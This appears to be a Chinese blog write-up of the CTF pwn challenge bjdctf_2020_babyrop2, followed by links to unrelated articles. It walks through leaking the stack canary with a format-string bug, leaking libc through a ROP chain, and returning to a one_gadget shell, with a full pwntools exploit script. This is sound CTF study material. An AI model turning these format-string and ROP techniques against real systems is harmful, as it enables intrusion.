这道题是一道基本题,正因为它经典,所以需要重点记录一下。

  这道题考察格式化字符串泄露canary,然后rop获得libc版本,之后拿到shell。拿到程序之后我们先检查一下保护。。。

  开启了堆栈不可执行和canary保护。接下来ida看一下伪代码吧!

  main函数中调用了三个函数,我们一个一个点进去看看,先看一下init()。

  有点水文章了。。。第一和函数就是告诉我们说让门尽力泄露libc的版本。。。来,我们继续看第二个函数!

  很明显有一个格式化字符串漏洞,并且format是由我们控制的,这里呢,我们先算一下这个格式化字符串的偏移吧。你看scanf那里,允许我们输入6个字节。。。那么我们就开始撞运气泄露偏移吧。。。

  当我们输入泄露偏移为6处的地址时,找到6161也就是aa,那么说明格式化字符串的偏移就是6,这里我们就要泄露canary,canary是在rbp+8,那么我们只要算好偏移泄露就可以了。

  这里的时候我们是输入了%6$p,看栈分布,说明我们只要输入%7$p,就把canary泄露出来了。我们直接运行程序看看。

  输出的这个就是canary,%p就是以十六进制输出数据。

  好,接下来我们看最后一个函数。

  

  就是简单的栈溢出,构造rop链了。

  接下来来看看payload怎么构造。

  1. 1 payload = p64(cancry)
  2. 2 payload = payload.rjust(0x20,'a')
  3. 3 payload += 'bbbbbbbb'
  4. 4 payload += p64(pop_rdi)
  5. 5 payload += p64(puts_got)
  6. 6 payload += p64(puts_plt)
  7. 7 payload += p64(ret_addr)

  

  把rbp+8的位置放上canary,下来就是简单泄露libc版本,调用shell了。

贴一下完整的exp:

  1. 1 from pwn import *
  2. 2 import time
  3. 3
  4. 4 p = process('./bjdctf_2020_babyrop2')
  5. 5 elf = ELF('./bjdctf_2020_babyrop2')
  6. 6 context.log_level = 'debug'
  7. 7
  8. 8 p.recv()
  9. 9 payload = '%7$p'
  10. 10 p.sendline(payload)
  11. 11 p.recvuntil('0x')
  12. 12 cancry = int(p.recv(16),16)
  13. 13
  14. 14 puts_plt = 0x0400610
  15. 15 puts_got = elf.got['puts']
  16. 16 pop_rdi = 0x0400993
  17. 17 main_addr = elf.symbols['main']
  18. 18 ret_addr = 0x0400887
  19. 19
  20. 20 sleep(1)
  21. 21 payload = p64(cancry)
  22. 22 payload = payload.rjust(0x20,'a')
  23. 23 payload += 'bbbbbbbb'
  24. 24 payload += p64(pop_rdi)
  25. 25 payload += p64(puts_got)
  26. 26 payload += p64(puts_plt)
  27. 27 payload += p64(ret_addr)
  28. 28 p.recvuntil('story!\n')
  29. 29 p.sendline(payload)
  30. 30 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
  31. 31 print hex(puts_addr)
  32. 32
  33. 33 base_addr = puts_addr - 0x06f690
  34. 34 shell_addr = base_addr + 0x45216
  35. 35 p.recvuntil('story!\n')
  36. 36 payload = p64(cancry)
  37. 37 payload = payload.rjust(0x20,'a')
  38. 38 payload += 'bbbbbbbb'
  39. 39 payload += p64(shell_addr)
  40. 40 p.sendline(payload)
  41. 41 p.interactive()
  42. 42 p.close()

bjdctf_2020_babyrop2的更多相关文章

  1. [BUUCTF]PWN——bjdctf_2020_babyrop2

    bjdctf_2020_babyrop2 附件 步骤: 例行检查,64位程序,开启了NX和canary保护 2. 试运行一下程序,看看大概的情况 提示我们去泄露libc 3. 64位ida载入,从ma ...

  2. bjdctf_2020_babyrop2(没有成功拿到shell)

    看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数.我们进入main函数中 在main的gift程序里面我 ...

  3. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

随机推荐

  1. [bzoj4971]记忆中的背包

    为了使得方案的形式较为单一,不妨强制物品体积为1或$\ge \lceil\frac{w}{2}\rceil$,那么假设最终有$x$个1且$\ge \lceil\frac{w}{2}\rceil$的物品 ...

  2. [loj2462]完美的集合

    当$k$个集合依次为$S_{1},S_{2},...,S_{k}$时,称$x$合法当且仅当: 1.$\forall 1\le i\le k,x\in S_{i}$ 2.$\forall y\in \b ...

  3. [luogu3573]RAJ-Rally

    先建一个$S$和$T$,$\forall 1\le i\le n$连边$(S,i)$和$(i,T)$,则最长路即为$S到T的最长路-2$ 对于这张DAG,求出一个拓扑序,点$i$为第$i$个(特别的, ...

  4. [loj3329]有根树

    题目即求$\min_{C}\max(|C|,\min_{x\notin C}w_{x})$,考虑将$w$从大到小排序,即为$\min_{1\le k\le n}\max(k,w_{k+1})$ 考虑若 ...

  5. 互联网java面试宝典

    1.为什么使用消息队列啊? 答题: 消息队列的核心功能就是:解耦合,异步,流量削峰解耦:接口调用发送,那如果E系统也要这个数据呢?那如果C系统现在不需要了呢?现在A系统又要发送第二种数据了呢?A系统负 ...

  6. R语言中的read.table()

    参考资料:http://www.cnblogs.com/xianghang123/archive/2012/06/06/2538274.html read.table(file, header = F ...

  7. phpMyAdmin简介及安装

    phpMyAdmin是一个MySQL数据库管理工具,通过Web接口管理数据库方便快捷. Linux系统安装phpMyAdmin phpMyAdmin是一个MySQL数据库管理工具,通过Web接口管理数 ...

  8. [C++] vptr, where are you?

    Search(c++在线运行). 有的网站很慢--不是下面的程序有问题. #include <string.h> #include <stdio.h> #include < ...

  9. A Child's History of England.38

    CHAPTER 12 ENGLAND UNDER HENRY THE SECOND PART THE FIRST Henry Plantagenet, when he was but [only] t ...

  10. 【Go语言学习笔记】包

    包其实是每个大型工程都会使用的模块化工具. 将相关的代码封装成一个包,给其他项目调用,提供不同的功能. GO的设计是将一个文件夹看成一个包,虽然不一定非要用文件夹的名字,但是比较建议. 同一个文件夹下 ...